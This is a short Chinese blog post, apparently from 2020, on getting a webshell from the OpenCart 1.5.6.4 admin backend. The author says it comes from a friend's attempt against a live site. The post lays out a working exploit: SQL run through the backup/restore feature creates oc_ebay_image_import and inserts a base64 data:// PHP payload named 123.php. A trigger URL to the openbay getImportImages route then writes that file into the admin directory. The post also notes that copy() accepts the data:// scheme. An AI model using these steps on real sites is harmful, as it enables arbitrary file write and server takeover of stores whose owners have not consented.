Opencart 后台getshell

朋友实战中遇到的,帮忙看后台getshell。

修改日志文件,但是奈何找不到warning这类等级的错误,没办法控制写入的内容,通过sql报错能写入了,但是尖括号却会被实体,使用16进制一样会实体。。。

文件上传好像说也是上传到文件服务器的。

而且实战和我拿到的这套源码不一样,虽然版本都是显示的:1.5.6.4,但是实战的站应该是处于二次开发的。

本地利用成功的地方:

1.后台--system--backup/restore:用于数据库的备份和还原,所以我们操作数据库了。

2.还原两个文件:

  第一个:创建一个oc_ebay_image_import表,默认不存在。(最好先在备份那里看到是否真的存在)

CREATE TABLE `oc_ebay_image_import` (
	`id` int(11) NOT NULL AUTO_INCREMENT,
	`image_original` text NOT NULL,
	`image_new` text NOT NULL,
	`name` text NOT NULL,
	`product_id` int(11) NOT NULL,
	`imgcount` int(11) NOT NULL,
	PRIMARY KEY (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=utf8;

  第二个:向上面表中插入数据。

insert into `oc_ebay_image_import`(`name`,`image_original`,`image_new`)values('1','data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=','123.php'); 

然后访问url进行触发:http://xxxx/admin/index.php?route=openbay/openbay/getImportImages&token=e358e0658935b8142cbdeff8373efccf

 

这就表示成功了,会在admin目录下面生成123.php文件。

漏洞原因:

 

这里最开始使用的是http协议,加载的远程内容,但是实战在内网,然后在copy函数中看到还支持其他协议,就使用了data://协议。

最后呢?

还是没拿下。。。访问触发的url,直接出现500错误。卒。。。

posted @ 2020-05-08 17:42  xiaozhiru  阅读(846)  评论(1编辑  收藏  举报